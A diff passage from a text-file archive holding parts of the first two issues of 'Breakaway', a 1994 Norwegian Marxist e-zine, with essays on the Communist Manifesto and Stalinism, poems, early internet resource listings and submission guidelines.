Party" revisited... + +(02) THE RISE OF THE INTERNATIONAL + Utopia or realism? + +(03) ON "RED FORUM" + Communism on the uprise? + +(04) ...AND THE DAY BEFORE CREATION + Poem - Cyberspace and the divine + +(05) column: A SEARCHLIGHT ON INTERNET + Revolutionary resources on the information highway + +(06) GENERAL INFORMATION + How and what to submit, how to contact us, etc. + + + + +======================================================================= +(00) EDITORIAL +----------------------------------------------------------------------- + + + + "Breakaway". + + Already my selection of name commits. + + It is a breakaway from a past where openminded debate about marxism +was impossible. On one side, orthodox stalinists and maoists more or +less openly mutilated marxism to fit their own needs, and marked everone +not following their totalitarian line as "fascist agents". On the +other, the capitalists marked everyone with revolutionary ideas as a +communist, and added "that is, he is against the rights of the +individual, and are fighting to establish a totalitarian, stalinist +regime". In between, the trotskyites hated everyone, and was hated by +everyone. The only ones to stand united were the opportunists. + + So the revolutionary movement rotted away. + + But, inevitable, the regimes that called themselves "socialist" +started stumbling down. Today it isn't anymore given that everyone you +will meet claims you to support murdering of people with opposing views +if you call yourself marxist. More and more often people instead ask +you what your goals are, and how you will fight to reach them, because +they do not know, or think they know, what marxism is. Many haven't +even heard of Marx. + + What will you answer? + + That is the main focus of Breakaway. What is the goal of a marxist, +and how will he fight to reach these goals? What are the concequences? +Are these goals just an utopia, or are they realistic? + + As a marxist, a selfproclaimed commie, these are questions I have to +ask myself each and every day. Questions I *NEED* to ask to be sure +that I never start believing in eternal truths; questions everyone +concerned with marxism need to ask. + + I will not censor submissions with views differing from mine. I +will not stop trotskyites from submitting simply because I belive that +Trotskys "Permanent revolution" theory is crap. I won't stop maoists +that write to tell why Mao was a great leader, or anarchists writing to +tell us all why marxism is totalitarian. I even might just possibly +accept an occasional submission from a stalinist or two trying to excuse +Stalins (in my opinion) fascist oppression of the individual. + + As long as the submissions doesn't have as main goal to insult other +people, it will pass (and if they don't, I'll give the author a fair +chance to moderate his/hers article). + + For information wants to be free. And these are discussions we need +to take to clarify what is real marxism, what is good marxism, and what +is not marxism. Because even if I see stalinism as a fascist ideology, +I realise that this is my opinion and not an undisputable truth. + + Let the more than seventy years with oppression in the name of +marxism be a lesson to us all. + + But let it also encourage us to fight even harder to show people +that this was, and is, a misuse of the name of marxism, and not the real +thing. Let it engourage us to fight to clear our name. + +Vidar Hokstad, + Editor + + + +======================================================================= +(01) THE MANIFESTO TODAY +----------------------------------------------------------------------- + +Written by Vidar Hokstad +Translation, and changes, from the original done by the author. +All rights reserved. Permission for *free* redistribution granted. + + + +THE MANIFESTO TODAY + +It is almost 150 years since the Manifesto of the Communist Party was +published for the first time. Since then revisionists and reformist +have one after the other attacked the manifesto, trying to prove it +faulty; trying to find faults they decided in advance must be there. +They have been working to "prove" that marxism is dead, outdated. In +fact it was with that attitude I myself read it the first time some +years ago. I quickly discovered how prejudiced I had been, even though +beeing leftist for years. + + The manifesto isn't outdated today. Sure it has faults, but what +was the largest error of the manifesto at the time it was written, is +today irrellevant. The description given in the manifesto fits todays +society better than society when Marx and Engels lived. + + Because while Marx and Engels in the manifesto made the assumption +that capitalism had already moved past it's days of glory, capitalism +was still young and healthy: Marx and Engels did not see the enormeous +amounts of capital hidden in America, Asia and Africas natural +ressources and labour, and the new growth for the European capitalists +could create from the capital freed by enslaving these entire +continents and their original inhabitants.[1] + + While the manifesto starts with the words "A spectre is haunting +Europe", a manifesto of today would by necessity start with "A spectre +is haunting the world", because while capitalism of 1848 still was +restricted to the great powers of Europe by the geographical position +of the industry, industry of today is reaching every corner of our +globe, and with it capitalism. + + The class-struggle isn't dying, it hasn't been weakened, but it's +most violent forms have been exported out of Europe, out of USA. +Today, the rest of the world can't anymore bear the increasing burdens +that the industrialized world tries to impose on it, and each day a +greater part of profit must again be collected from the workers of the +rich countries: + + Reproletarisation, this silent empoverment, of the workers of the +industrialized countries will mean the death of the bourgeoisie. +Silent because the working class ever since World War II have been +gagged by socialdemocratic tradeunion-leaders with nice words about the +blessings moderation brings national economy. + + Because while the bourgeoisie found it's fountain of youth in the +oppression of the third world, it is today gradually discovering a +decay accellerating faster than ever before. Still, they don't want to +believe it is happening, for isn't their profit higher than before? +Aren't they richer? + + Exactly. + + Socialdemocracy was a traison towards the working-class in the +underdeveloped countries. It was, and is, an arrogant, eurocentrist +ideology claiming to have the solutions because they managed to give +the workers of Europe a few drops of the sea of blood and sweat that +was, and is, beeing extracted from the workers of the poor countries. + + Socialdemocracy sold the international class-struggle to ensure +the workers of Europe, and the bourgeoisie of Europe. Later, when +socialdemocracy spread out of Europe, it kept it's nationalist +elements, teaching a doctrine about love for your country in content +not much different from Stalins "socialism in one country". + + This gigantic cooperation across classes showed the world once and +for all that the working class still haven't seen that the idea of a +fatherland, for the working class, is, and will continue to be, an +illusion. + + This nationalism still lives, and many places it grows, thanks to +our weakness, our cowardness, and our own tendency to hold on to +national symbols: We still haven't managed to put our national flags +aside in anger, and rise the red flag, the symbol of the international +unity of the working class. On the contrary: Today many of us rise +national flags with an even greater feeling of pride. Even on the +first of May. + + Perhaps it is only a manifestation of the situation of the +international proletariat: No unity. No brotherhood. Only chaos and +despair. What is left to believe in? For isn't communism dead? + + But it isn't only the socialdemocrats who have betrayed the +proletariat, also we, the revolutionary movement of the industrialized +countries, have let the struggle for freedom, for the oppressed, drown +in our admiration of any force opposing capital, not necessarily as +representatives for progressive liberation movements, but as members of +reaction. + + Our movement worshipped nations where the barbary extended as long +as to systematically murder members of their own people; nations that +fought the bourgeois parliamentary system not to replace it with true +workers democracy, but to replace it with a society where class- +antagonisms survived not because of economic opression alone, but as a +direct result of political opression even more extreme than the +capitalist bourgeois dictatures in which we live. + + What are the signs of true socialism? + + True socialism's features include the workers right, as a class, to +control the means of production; by economic planning instead of +war-like competition. Socialism is a negation of capitalism; a +qualitative leap from a society that have the means to give everyone a +true vote, that have the capital to give everyone a life without +poverty, to a society that in deed does these things. + + But what are the features of stalinist regimes? We can recognize +them because they have the all-embracing poverty that is typical for +the newborn capitalist state; the poverty that creates capitalist +competition, and that always will crush any attempt at a socialist +revolution not being the direct result of a well developed capitalist +system; a poverty increased by the socalled socialist revolutions +national character, that prevented the working class of the +industrialized countries from saving the ideals of these revolutions. + + Marx' himself clearly stated what such a poverty would cause: + + " Without [the development of the means of production] only the +poverty would be generalized, the basic needs would therefore ensure +that the struggle for necessities would start over again, and the +entire old shit would be ressurected. " [2] + + In the stalinist regimes, this poverty was there, and stalinisms +birth out of regimes that had barely managed to crush feudalism, once +again makes it clear that these revolutions, even though they were led +by the proletariat, would have to degenerate; that they never could +have been the seed of socialism, but only a primitive stage in between +the feudal and the capitalist economy: They kept the feudal structures +in the political framework, but had to accept that they were a part of +the increasingly powerful capitalist world market. + + " The bourgeoisie, by the rapid improvement of all instruments of +production, by the immensely facilitated means of communication, draws +all, even the most barbarian, nations into civilization. The cheap +prices of commodities are the heavy artillery with which it forces the +barbarians' intensely obstinate hatred of foreigners to capitulate. It +compels all nations, on pain of extinction, to adopt the bourgeois mode +of production; it compels them to introduce what it calls civilization +into their midst, i.e., to become bourgeois themselves. In one word, +it creates a world after its own image. " + + (The manifesto, Bourgeoisie and proletarians, paragraph 20) + + The characteristics of stalinism are not those of socialism. +They're not even a part of the characteristics of capitalism. +Stalinism, in contrary to socialism, does not give the means of +productions to the workers, it gives the new elite, the party elite, +the control over not only the means of production as capitalism to the +bourgeoisie, but over society as a whole. It rebuilds, in a capitalist +economy, the feudal empire that the revolution crushed, and despite +trying to conquer capitalism, despite wanting to destroy capitalist +competition, the stalinist regime ia itself a part of capitalist +competition. It acts like a giant capitalist corporation, exploiting +it's workers, controlling them, fighting to increase profit. + + But as the monster it is, a mix of capitalist economic structures +and feudal political structures, it is doomed to loose, for not only is +it forced to fight the true capitalists, but also the same proletariat +which in the course of it's birth, it's organisation, gave the regime +power. + + Stalinism is true internationalist communism turned upside down. + + Stalinism is nationalist, in contrary to the needs of the +proletariat. + + Stalinism is dogmatic. As Hegel claimed Preussian capitalism to +be the "end of history", stalinism claims it's interpretation of +communism to be the final goal of mankind, contrary to marxist theory +that relies on the idea that *nothing* is eternal. + + Stalinism is, as communism, a result of a revolution under the +leadership of the proletariat, but in contrary to communism, stalinism +is a result of a revolution under the leadership of a national +proletariat in an underdeveloped country. A proletariat not +representing the majority of the people, but only one out of ten, two +out of ten, or maybe tree out of ten of the inhabitants of the country. +It is the proletariats first non-successful attempt to build socialism, +for it isn't the workers that win the political power when stalinism +wins, but the intelligentsia that gave the wrong answers; that thought +they knew when time was right for socialism. + + The true value of the manifesto, lies in that Marx and Engels +longed for the revolution. They longed for it so much that they +described it's coming as exactly as they could, but expected it to come +in their own time. They described the death of the middle classes, the +degeneration of capital, the growth of the proletariat, seen as of +Europe 1848. + + Europe 1848, that's the world 1994. The same tendencies, the same +development, that could be found in Europe 1848, can be found in the +world of today. And this time the capitalists can't find new peoples +to oppress, if they don't at a sudden find life in outer space. + + Today we can see the centralisation, monopolisation and empowerment +even clearer than Marx ever got the opportunity to. We see the +disasters and the need. The capitalists claim that Marx were wrong +because the workers of Europe became "rich and fat": Marx claimed that +the workers of Europe would become poor, they say. + + What Marx claimed was that the proletariat would grow, due to the +empowerment. He limited his observations to Europe, because what he +knew was Europe. That was a mistake. But removing this limitation, +applying the same theory not to Europe, but to the world, it once again +become a mirror of reality: + + Never before have so many starved to death each day; never before +have so many been about to die because of poverty, and they become more +every day. + + " The weapons with which the bourgeoisie felled feudalism to the +ground are now turned against the bourgeoisie itself. + + But not only has the bourgeoisie forged the weapons that bring +death to itself; it has also called into existence the men who are to +wield those weapons -- the modern working class -- the proletarians. " + + (The manifesto, Bourgeoisie and proletarians, paragraph 27/28) + + +VIDAR HOKSTAD +Red Forum / Internationalists Committee + +Earlier published in Norwegian in FRIHETEN (Freedom), newspaper of the +Norwegian Communist Party, 21/1993. + + + +------ +[1] However, one can several places find indications that Marx and +Engels started to realise this error. Most striking is their +corrections in the preface to the Russian 1882 edition of the Communist +Manifesto, but also in his late speeches, Marx was searching for a way +to explain the growth that was inevitable in Europe. + +[2] From "Die Deutsche Ideologie". Beware that this quote is +translated to English in a hurry from a bad Norwegian translation of +the original german text. + + + + +======================================================================= +(02) THE RISE OF THE INTERNATIONAL +----------------------------------------------------------------------- + +Written by Vidar Hokstad +All rights reserved. Permission for *free* redistribution granted. + + + +THE RISE OF THE INTERNATIONAL + + In my three years as an active member of the revolutionary +movement, for it is in fact not longer since I first discovered +marxism, my view has always been directed towards internationalism. + + Two years ago I started working to learn more about the +international revolutionary movement, resulting in several articles for +the party newspaper of the Norwegian Communist Party. What interested +me the most, was that the movement which I thought would be dying, had +survived and was working to regain it's strength. + + We are in a situation when "everyone", at least to the left of the +"official" communist parties , are trying to get new international +contacts, and to build new structures upon which one can build a new, +sound movement. + + It is my belief we are heading towards a new International. + + The main goal of such an organisation today would be to build an +effective network for the exchange of information, and for free debates +on marxism as a tool, and on current political issues. + + We no longer need to gather people together in the same room to +conduct meetings. We do not any longer need a big organisation before +it is possible to work effectively. + + One of the projects run by Red Forum / IC is actually destined to +provide a basis for an infrastructure the revolutionary movement will +need in the coming struggles. If everything goes as planned, we'll +have our very own UUCP site up by this autumn, with a full Internet +connection heading our way next year. + + Marx/Engels wrote in their _Communist Manifesto_ of 1848, that what +had taken centuries before, the proletariat would manage in a few years +thanks to the railroads. Today we could add: And today, we can build +the same relations in a few weeks, provided we know how to take +advantage of new technology. + + Back to our new "International". Do we need such a creature? We +saw what results the second, the third, the fourth, the fifth gave, +didn't we? [1] We saw the oppression of the national communist parties +after Stalins takeover of Komintern. And the secterianism of the 4th +and 5th. Maybe one was enough? + + Still, an international _could_, if we build it wisely, provide a +framework for cooperation across the world. It _could_ give us the +resources we need so badly, such as an international information +network - providing our newspapers with well-written news material with +a revolutionary view, press releases (_we_ don't even get to hear about +what the other parties and groups in Europe are up to, not to mention +the rest of the world) -, our own forums for international debate (our +"own" cluster of conferences on USENET? Mailing-lists? international +journals?) + + We don't claim to be the ones to start a new international - too +many secterian attempts have been made at this before. We haven't even +thought about establishing ourselves as a new party. We hope however, +that we can bring some people together, hopefully spread out over as +much of the world as possible. And by doing this, we want to build a +foundation on which we can meet other groups working on similar +projects, discover new resources and in general get together with more +people. This way, a united movement can, and will, appear. + + We can't say: -Hey, let's start a new international tomorrow. +Then we would be stuck with a thousand of small groups each claiming +to be the seed, noone growing to become the tree. The international +will evolve out of the work of each and every one with a true +internationalist marxist ideology not start when we want it to. + + If _you_ think you have ideas, or if you want to join Red Forum/IC, +or just want to work together with us, feel free to write a few lines +to + +Vidar Hokstad +Red Forum / Internationalists Committee + + + +------- +[1] The Fourth International, is the one started by Trotskij, the fifth +the attempt at a new international done by Tito. + + + +======================================================================= +(03) ON "RED FORUM" +----------------------------------------------------------------------- + + Red Forum is the result of the work of a few revolutionaries in +Norway, with different ideas, and memberships in different parties.[1] +Earlier this year, we met in Oslo to discuss marxism on an inter- +nationalist basis. We all wanted a new organisation that allowed us to +work together to spread marxist ideas - not necessarily what *we* +thought of as good marxism, but anything that could help people to see +the entire spectre of marxism - and to fight for renewed international +contacts. + + Since the beginning, we have been exploring the possibilities of +information technology in our political work. In fact the three groups +that met at our Oslo-meeting were brought together as three of us met +on local BBS's. + + Today Internet is our next frontier, and we have begun the struggle +to establish our services on the net. Breakaway is only the first +attempt. Hopefully we will next year be able to set up our own +Internet host. + + Our platform, our principles, are not well defined. We have +started almost on scratch, trying to avoid all the pitfalls that we all +agree our own parties have fallen into. Today, Red Forum / IC have +only a minimal platform stating that we are a revolutionary +organisation for debate on socialism from an internationalist point of +view. Anyone accepting internationalist marxism can become a member +(also non-Norwegians - in fact we are *very* interested in members +outside Norway). + + + +ACTIVITIES: + +- Production of Breakaway + +- E-Publishing of marxist theoretic works. Currently mostly Norwegian + translations. + + Currently the following archives can be requested by mail, with more + to follow: + + HOKSTAD1 Articles on modern marxism - 1 + HOKSTAD2 Articles on modern marxism - 2 + FEUER Theses on Feuerbach + MANIFEST The Manifesto of the Communist Party + + ***NOTE: All in Norwegian. + +- FAQ on revolutionary resources on the Internet (in English...) + +- Meetings + + + +PLANNED TO START THIS AUTUMN: + +- An own BBS with UUCP connection to USENET, situated in Oslo, Norway + +- A monthly printed magazine in Norwegian + +- English and German versions of several marxist classics + +- A quarterly English and Norwegian theorethical journal + +- Attempts at establishing two or three foreign groups as a + minimum, with the goal of getting at least one new UUCP + site during '95 + + + +------- +[1] Currently we have members from the following organisations: + +Norwegian Communist Party (NKP) / Norwegian Communist Youth (NKU) +Socialist Left Party (SV) / Socialist Youth (SU) +Young Liberals (!!!) (Unge Venstre) +Red Electoral Alliance (RV) + +in addition to a few without membership in other political +parties/groups. + + + +======================================================================= +(04) ...AND THE DAY BEFORE CREATION +----------------------------------------------------------------------- + + + I stared out into the + marshes of RAM + that engulfed us. + + Watching the + archivers + store my mind away, + leaving only references: + + My childhood + at address + zero and something + close to infinity. + + It felt so good, + +They freed my mind; let it float around; +move from site to site, being everywhere. + + no longer being human. + + We were all the same, + all memory, + all mind, + no physical existence + outside the Net. + + God in our own little universe, + stretching to the limits of our minds. + + + We were given large + structures + + to fill with light meadows, + + + Structures + with which we built islands of childhood: + Treasury island; + Jules Vernes mystery island. + + Structures + with which we built forests: + Sherwoodforest; + neverending woods with indians, + cowboys, and other strange creatures. + +Oh, yes, we relived our golden childhood dreams; +and afterwards, when we had finished, we relived our futures. + + Structures + with which we built Utopia: + Lang's Metropolis; + Gothams dark streets; + New York at night, 1993. + +For is it not what we have always dreamt of? +What we have fought for centuries to see? + + Our deepest dreams becoming + simulated reality. + + And when we got tired of + old reality, + we created new ones; + new senses: + + The beauty of a + five-dimensional sunset + were ours. + And we touched the + sharpness + of a scream + with our fingers. + +But as we grew older, our passions cooling, we felt +a sudden urge for meditation. + + For millions of years, + we lived in silence, + until we got a + Vision. + +And the day before Creation, we started merging + + Into One + + + +======================================================================= +(05) Column: A SEARCHLIGHT ON INTERNET +----------------------------------------------------------------------- + + In this column, we will in each issue tell you about leftist +groups, publications and resources available on the Internet. +Naturally we wont be able to trace down every single bit of data +ourselves, so we'll have to rely quite much on what you send us. +Information, whether it is only an e-mail address we can use, or a +complete entry, can be sent to + + A FAQ on leftist net-services will also be put together, and can +for now be requested from the same address. The FAQ will contain the +same info as this column, but will be updated, and will contain +additional info when possible. + + We start of *very* good... This is a service you really ought to +check out: + + + + +* Marx and Engels Online Library + +GOPHER: csf.coloradu.edu + select 12 (Progressive Sociologist Network) + select 9 (Marx/Engels section) + +FTP: csf.colorado.edu in directory psn/Marx + +E-MAIL: Ftp-by-mail. Send a message to ftpmail@sunsite.unc.edu + or ftpmail@decwrl.dec.com with the word "help" in the + body of the message for more information on ftp by + mail. + +INFO: zodiac@io.org + + Works of and on Marx and Engels in a free, electronic edition. At +present the library have got about 4.2 megs of text. A few texts of +DeLeon, Trotskij and Lenin are also included ("The state and +revolution", and "Against fascism"), in adition to a book by Jenny +Marx. + + You're also welcome to contribute with transcriptions, but contact +zodiac@io.org first. Let's help making this library complete! + + + +======================================================================= +(06) GENERAL INFORMATION +----------------------------------------------------------------------- + +How often? +----------------------------------------------------------------------- + +As often as there are enough to publish. "Enough" is at present about +30kb of text, but this might increase if we get enough submissions. +Under any circumstances, we'll limit ourselves to 30kb until we reach +one issue every two weeks. + + + +Format? +----------------------------------------------------------------------- + +Only pure 7-bit ASCII. However a program designed to translate these +files into AmigaGuide(TM) files will become available shortly. (Send a +request for BRtoGUIDE.LHA to the E-mail address below. You will then +receive the file uuencoded in you mailbox as soon as it is available) + + + +Subscription +----------------------------------------------------------------------- + +Just send us a message, preferably by e-mail, and you will be added to +our mailing list. + + + +Ideas? +----------------------------------------------------------------------- + +Do you have ideas about topics we should write about, columns we should +have, places to advertize in or distribute to, authors or groups to +contact, or anything else that might help us, send e-mail to the address +below. + + + +Submission guidelines +----------------------------------------------------------------------- + +* BREAKAWAY will accept articles from people belonging to all trends or + ideologies related to marxism, or from people who are simply + interested in marxist theory or practice. + +* All articles are considered open for debate. Answers to articles are + welcomed and encouraged, and will get high priority. When an article + includes the e-mail address to the author, you *are* encouraged to + use it for constructive criticism to the author, but we would prefer + if you submitted your comments if appropriate. + +* You should limit yourself to articles between 100 and 300 lines if + possible. If you find that difficult, try to divide your article into + shorter sections suitable for publishing over two to four issues. + + Contributions shorter than 100 lines will naturally also be accepted, + but might (depending on the type of submission) be put in a column as + "Readers comments" etc. instead of alone. + +* We will publish most articles or news reports we receive concerning + marxist ideology, the actions of marxist organisations, or information + of importance to the average revolutionary. + +* Fiction will be accepted if the editor believes that it encourages new + ideas, or that it falls into the quite large bag of "proletarian + literature" + +* We will, if the content is interesting, take the work of translating + to English from the Scandinavian languages, German or French, and + improving language (in cooperation with the author) + +* Submissions should if possibly be e-mailed to us. Alternatively, you + may snailmail us a disc. We accept plain ASCII files on 3.5" 720kb + formatted MS-DOS discs, 5.25" 360kb MS-DOS discs, 3.5" 880kb OFS or + FFS Amiga discs. But we don't hunt you down and kill you if you send + us your article on paper either (if in handwriting: write *CLEARLY*). + +* We accept anonymous submissions. However, if you choose to do so, we + would prefer if you give us a pseudonym to use as your signature. + + (Also @ addresses is a good way of getting + anonymity without loosing the advantages of feedback, anon@penet.fi + beeing a popular choice, but please note that there are other servers + available for US users, as penet.fi is _extremely_ overloaded) + + +If you are unsure of whether or not your article, poem, short-story or +whatever is of interest to us, submit it anyway and let us judge. I +believe our problem won't be too *many* submissions... And if you +submit something we can't use, and it isn't the *quality*, but the +*topic* that is our reason for not publishing, we will try to give you +advice about better alternatives (such as other e-zines). + + + +How to contact Red Forum / Internationalists Committee: +----------------------------------------------------------------------- + +Editor : Vidar Hokstad +E-mail : +Snailmail : Boks 30, N-2001 Lillestroem, NORWAY +Tel. : +47 638 170 35 (5pm to 9pm GMT) + +======================================================================= + Proletarians of all countries, unite! +======================================================================= + +END BREAKAWAY.001 +. diff --git a/textfiles.com/magazines/MISC/break1n2.txt b/textfiles.com/magazines/MISC/break1n2.txt new file mode 100644 index 00000000..4602625f --- /dev/null +++ b/textfiles.com/magazines/MISC/break1n2.txt @@ -0,0 +1,815 @@ + + Voila. Une miracle formidable! ;))) + + Issue number two of Breakaway is here! + + And this time, my Internet account won't make any trouble, 'cause +I've got a brand new account. So be sure to test it by submitting to + ;-) + + By the way, a notice about the trouble with my account went out +to about half of the subscribers. To those who didn't receive it: + + - If you have asked me questions, and didn't get any replies, + please mail me again. + + - If you still haven't received issue #1, notify me. + +Vidar Hokstad +Editor + + + +----------------------------------------------------------------------- + +BEGIN BREAKAWAY.002 + + + + + + + B R E A K A W A Y + + Debates on modern marxism + + + -+*+- + + + Issue no. 2, volume no. 1 + + + June/July 1994 + + + + + +======================================================================= +CONTENTS +----------------------------------------------------------------------- + +(00) EDITORIAL + +(01) column: WHAT'S UP? + Some informal notes on issues we want to tell you about + +(02) FIRST VICTIM OF THE REVOLUTION + Another poem... + +(03) AUGUST MEETING + Red Forum needs a platform. + +(04) column: A SEARCHLIGHT ON INTERNET + Revolutionary resources on the information highway + +(05) column: READERS COMMENTS + got anything to say? do it here. + +(06) series: FOR A NEW BEGINNING (1 of 2) + a critique of secterianism + +(07) GENERAL INFORMATION + How and what to submit, how to contact us, etc. + + + + +======================================================================= +(00) EDITORIAL +----------------------------------------------------------------------- + + Finally. Summer's coming. At least it gets hotter in the air here +up north. + + So. Time to liven up. But where are we heading? How will we work +to get a step or two closer towards our goals the last half of 1994? + + For we can't just sit back and dream. Revolution won't grow on +dreams. + + Submissions might be one way to do something. Because unity can +only be achieved if we know what other people think; if we know what +we think ourselves. + + By submissions, I'm naturally fishing for articles for Breakaway, +but not only that. In general: Write, submit, make noise. If you write +well, even bourgeois papers might occasionally print. And when they +don't: Complain, call the editor, resubmit your piece to another, +more progressive newspaper and tell them who didn't want to print it, +and what excuse they gave. + + It's worth a try. Even if the only result is that *one* reader +takes the trouble of learning more about socialism. + + It's up to you. Overflow your local newspaper with articles and +comments. And if they don't publish, maybe we will... + + Keep writing! + + +Vidar Hokstad +Editor + + +BTW: I may not have made this clear enough before, so I make sure +I do this time. The contents of this zine need not reflect the policy +of Red Forum, even when I it's written by me. Unless an expressivly +say so, the views presented are those of the author. + + + +======================================================================= +(01) column: WHAT'S UP? +----------------------------------------------------------------------- + +- Thursday 20th May, a meeting in the executive committee of the + Norwegian Communist Party's (NKP) section in Oslo and Akershus + declared to be in favor of supporting a computer project suggested + by Red Forum / IC economically. + + Suggested investments went up to 50.000 NOK (7500 USD), with + RF/IC paying an additional 4000 USD over a 5 year period, + allowing RF / IC to start it's own BBS with UUCP connection to + USENET, in addition to using the system for DTP. + + Unfortunately, on a meeting the 15th of June, the final decision + were postponed until August. However, it is clear that RFIC will + probably set up a UUCP site whatever the NCP decides. + + On the meeting on the 15th, critique against the project was + mainly directed towards the emphasis on information gathering + through electronic media, and the role of RFIC. An important + argument for the project is that the NCP will be unable to + provide the same facilities for producing it's party news- + paper without cooperation with RFIC. + + +- Breakaway #1 was advertized in three rounds in a series of USENET + conferences, and by June 28th, it had been distributed to + subscribers from USA, Canada, UK, Norway, Australia, France, + Spain, South-Africa, Ireland and Germany. I continued getting + responses to one of the posts for more than 6 weeks after it + was posted. + + +- Bourgeois censorship? The postal strike[1] in northern Germany + throughout this month was barely mentioned in Norwegian media. It + was if the whole thing wasn't happening, and our only source for + updated info turned out to be GermNews (news + from Germany in German, edited by some guy in Berlin). + + But really, we should've expected this. Telling people about + the suggested "Postreform II", which in essence is the bourgeois + forces in the Bundestags attempt at selling the entire German + postal service to the highest-bidder, would certainly not + increase the popularity of the European Union which our social- + democratic government continues to insist is the best way to + secure social-democratic values (Notice that they stopped saying + "socialist values" about 15 years ago...). + + Breakaway welcomes your comments on this and similar matters. + Do you find news on the net or elsewhere which is ignored by + bourgeoise newspapers and TV-stations? Tell us about it. + + +- Norwegians: In a short time, if everything turn out the way we + want to, we will be able to distribute selected articles from + "Friheten" through e-mail. Mail me if you want to subscribe. + This is meant to be the first step in providing material from + leftist newspapers through e-mail, and in a few weeks several + other revolutionary newspapers in Norway will receive the + same offer. + + Be sure to specify whether you only want to receive the index + (to request selected articles later), or the full text. + + We also welcome initiative from our subscribers when it + comes to providing material from newspapers outside Norway. + + +- Information about membership in Red Forum / IC can now + be obtained from me. Request the file info/Membership. + + +- Request submission guidelines by asking for the file + info/Submissions + +---- +[1] The German "postal" service includes the divisions "Postbank" and + "Telecom" in addition to mail delivery, and have about 670.000 + employees. + + + + +======================================================================= +(02) FIRST VICTIM OF THE REVOLUTION +----------------------------------------------------------------------- + + I saw a glimpse + of our future tonight. + + Misery were thrown toward my eyes, + opression like today, + but most of all a spark + of hope. + + In each and every + socalled "home" + man discussed his future. + + + Misery forced him + + into action. + + + And as days went by in pain, + there were each and every day + another one + that whispered in the dark + a little, + long forgotten, + word. + + But fear + it brought + when someone + + in broad daylight + + stood up straight and + dared to scream + + - Revolution + + and was shot. + + + + +======================================================================= +(03) AUGUST MEETING +----------------------------------------------------------------------- + + It is quite some time since Red Forum was formed, and it was +decided to prepare a basic platform. Not much have been done, and now +summer's threatening :-) Meetings close to summer vacation have to +many times proved _impossible_... So, final decision concerning our +platform have been postponed until August. + + But that does not mean that we won't do any work before that. +Presented here are some of the results of what have been done, with +explanations of the circumstances under which it has been done. + + We hereby invite all RF / IC members, as well as Breakaway readers, +and others, to send us comments, alternative platforms (or just the +platform of _your_ favorite organization), criticism etc. We promise +that any input will be discussed at our meeting (unless we are drowning +in documents...), and at least an extensive summary of what we receive +will be published in Breakaway. + + Since we plan to include as much as possible in Breakaway, and +to make as much of what we can't include in Breakaway publicly +accessibly by other means (from this autumn hopefully a series of +listserv / mailserver services), to as wide a public as possible, +we would prefer to receive documents in English, but if a) you have +printed documents you think would be of interest, or b) you feel +unable to express your ideas clear enough in English, we will at least +read, and quite possibly also translate, documents received in French, +German, Norwegian, Swedish and Danish. + +Vidar Hokstad +Red Forum / Internationalists Committee + + +PS: Unfortunately, it has during my work on issue #2 of Breakaway +become clear that the person that were supposed to provide us with a +draft for discussion haven't been able to do so in time. The +mauscript, or another draft, will therefore make it to Breakaway at +earliest in time for Breakaway #3. + + Because of this, this section may seems a litle strange. It was +meant to include the draft, in addition to two or three other short +pieces with comments, which all have been left out. + + + + +VIDAR HOKSTAD: On the "Oslo meeting" in February +----------------------------------------------------------------------- + + It was still winter, and cold. Colder than the last years. The +streets were filled with snow, and walking out of the train station, I +think we all wished we'd lived somewhere warmer. + + We were fewer than expected as we reached the offices of the +Norwegian Communist Party, where our meeting were to be held. Still +the meeting was attended by members from a broad range of +organisations. + + The agenda of the meeting was nothing less than to form a new +revolutionary organisation. It wasn't a new party we wanted to build, +but an organisation that could try to unify through open debate, and +to spread information about marxism to new people, outside our +movement, and especially youth. + + As in many other industrialized countries, the revolutionary left +have since long been dying in Norway. After the maoist movement stopped +attracting new youth in the middle of the seventies, almost no more +members came, and the old ones literally started dying. + + However, with Gorbachev, new hopes strated growing. Even though +many of us, looking back, believe that Gorbachev was a lousy leader, +he should still be admired for freeing the revolutionary movement of +the curse which the Soviet union, and the "socialist" countries in +eastern Europe have been. + + Finally it was possible for us to talk freely about the sacred +dogmas, the fanatical love directed towards the October revolution +1917, the admiration of Stalin because of his warfare against Hitler +(how could he not fight Hitler, a man who treatened his reign, a +competitor for the "crown"?), without being insulted; being called +petty-bourgeois, traitor, or "worse": Trotskyite.[1] + + The main part of our meeting consisted of avoiding "difficult" +matters. Red Forum was never meant to be an organisation with views +about everything - the different parties and groups have thos views. +Too many of them. We wanted an organisation open to everyone, +everywhere, that accepts a basic platform, that consider themselves +marxists and revolutionaries, that are consequent internationalists. + + The firm programme, the strong party line, is not something that +can be voted on by a small group. The revolutionary party, in my +opinion an international party, can only be formed by uniting the +existing movement, by bringing at least the majority of existing +groups and tendencies together. + + It will take years, but continuous debates internally in the +movement will sooner or later bring the unity that is neccesary; +an unity that will be forced upon us as the threat from capitalist +regimes in crisis, scared capitalists, grow stronger. + + One of the results of these principles were that we decided to +wait before creating a thorough program. We agreed that instead, +for a few months, giving us time to discuss, and to bring more +people into the forum, the following would do: + +- Red Forum is a forum for the discussion of Marxist theory and +politics based on a revolutionary, internationlist foundation. + + This is the foundation on which we invite new people to join +Red Forum / IC (so let me se some new members now ;), and which +provide a minimal basis for the work we have started doing. It is +not a foundation that can give us easy solutions to the daily +political struggle, but for this we have our respective parties. + + It is a foundation which we hope will bring together, at first, +a small, geographically and politically, widespread group of people +to discuss new ways for the Marxist movement to escape from the +secterianism that have polluted the left for decades. + + Applications for membership are encouraged. No fees are charged +at present, but expect this to change after the August meeting. + +V.H. + +---- +[1] But secteric organisations still claim to be a guiding light for us +all here too. It's less than a month ago a member of "the ML group +Revolution" published an article covering an entire A3 page in the NCP +party newspaper, trying to insult me by calling me a "pettybourgeois +trotskyite" after I had criticized Stalin in the same newspaper on the +1st of May. + + + +======================================================================= +(04) column: A SEARCHLIGHT ON INTERNET +----------------------------------------------------------------------- + +* Pathfinder Press + +GOPHER: ftp.std.com in '/Book Sellers' + + Pathfinder Press specializes in publishing revolutionary and +working-class leaders in their own words, including Malcolm X, Nelson +Mandela, Che Guevara, Fidel Castro, Karl Marx and Frederick Engels. + + It should be noted that Pathfinder is closely related to Militant +if I'm not mistaken... + + +* Book Stacks Unlimited Inc. + +TELNET: books.com + + Even though they're certainly not "progressive", it is possible +to find quite a lot of books by leftist writers among their 270.000 +titles, even Marx. From my position, with the prices of books here +in Norway, it seemed cheap. + + +* Agora BBS + +TELNET: agora.stm.it + + BBS of the Italian Radical party, supporting 7 different languages. +(English, French, German, Italian, Esperanto, Russian and Spanish If +I remember correcly, It's a long time since I tested it). Even though +the interface is cumbersome, the system might contain some useful +information. 